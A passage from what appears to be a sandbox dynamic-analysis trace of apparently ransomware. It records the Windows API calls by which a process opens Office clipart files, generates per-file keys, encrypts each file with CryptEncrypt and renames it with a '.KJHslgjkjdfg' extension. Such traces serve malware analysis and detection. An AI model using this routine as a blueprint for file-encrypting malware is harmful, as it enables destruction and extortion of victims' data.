lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.067] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.067] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.067] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.067] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.067] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.067] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.067] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.067] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.067] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x409f, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x409f, lpOverlapped=0x0) returned 1 [0162.068] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x40a0, dwBufLen=0x40a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x40a0) returned 1 [0162.068] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.068] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x40a0, lpOverlapped=0x0) returned 1 [0162.069] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.069] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.069] SetEndOfFile (hFile=0x114) returned 1 [0162.072] GetProcessHeap () returned 0x2a0000 [0162.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.072] GetProcessHeap () returned 0x2a0000 [0162.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.072] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.kjhslgjkjdfg")) returned 1 [0162.073] CloseHandle (hObject=0x114) returned 1 [0162.073] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc8c9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099201.GIF", cAlternateFileName="")) returned 1 [0162.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.074] GetProcessHeap () returned 0x2a0000 [0162.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.074] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.074] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.074] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x7, lpOverlapped=0x0) returned 1 [0162.077] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.077] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.077] GetProcessHeap () returned 0x2a0000 [0162.078] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.078] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.078] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.078] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.078] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.078] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.078] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.078] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.078] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.078] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.078] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.078] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.078] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc8c9, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc8c9, lpOverlapped=0x0) returned 1 [0162.081] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc8d0, dwBufLen=0xc8d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc8d0) returned 1 [0162.081] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.081] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc8d0, lpOverlapped=0x0) returned 1 [0162.082] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.082] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc9a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.082] SetEndOfFile (hFile=0x114) returned 1 [0162.085] GetProcessHeap () returned 0x2a0000 [0162.085] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.085] GetProcessHeap () returned 0x2a0000 [0162.085] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.085] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.kjhslgjkjdfg")) returned 1 [0162.086] CloseHandle (hObject=0x114) returned 1 [0162.087] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1367, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099202.GIF", cAlternateFileName="")) returned 1 [0162.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.087] GetProcessHeap () returned 0x2a0000 [0162.087] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.087] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.087] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.088] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0162.090] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.090] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.090] GetProcessHeap () returned 0x2a0000 [0162.090] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.090] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.090] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.090] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.090] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.090] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.091] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.091] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.091] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.091] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.091] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.091] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.091] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1367, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1367, lpOverlapped=0x0) returned 1 [0162.092] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1370, dwBufLen=0x1370 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1370) returned 1 [0162.092] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.092] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1370, lpOverlapped=0x0) returned 1 [0162.092] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.092] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.092] SetEndOfFile (hFile=0x114) returned 1 [0162.095] GetProcessHeap () returned 0x2a0000 [0162.095] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.095] GetProcessHeap () returned 0x2a0000 [0162.095] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.095] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.kjhslgjkjdfg")) returned 1 [0162.097] CloseHandle (hObject=0x114) returned 1 [0162.097] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099203.GIF", cAlternateFileName="")) returned 1 [0162.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.098] GetProcessHeap () returned 0x2a0000 [0162.098] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.098] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.098] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.098] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.098] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.098] GetProcessHeap () returned 0x2a0000 [0162.098] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.098] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.099] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.099] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.101] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.101] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.101] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.102] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.102] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.102] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.102] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.102] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.102] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf40, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xf40, lpOverlapped=0x0) returned 1 [0162.102] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf40, dwBufLen=0xf40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf40) returned 1 [0162.102] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.102] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xf40, lpOverlapped=0x0) returned 1 [0162.102] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.102] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.102] SetEndOfFile (hFile=0x114) returned 1 [0162.105] GetProcessHeap () returned 0x2a0000 [0162.105] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.105] GetProcessHeap () returned 0x2a0000 [0162.105] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.105] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.kjhslgjkjdfg")) returned 1 [0162.107] CloseHandle (hObject=0x114) returned 1 [0162.107] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099204.WMF", cAlternateFileName="")) returned 1 [0162.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.109] GetProcessHeap () returned 0x2a0000 [0162.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.109] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.109] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.109] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0162.111] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.111] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.111] GetProcessHeap () returned 0x2a0000 [0162.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.112] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.112] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.112] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.112] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.112] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.112] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.112] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.112] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.112] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.112] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.112] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.112] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, 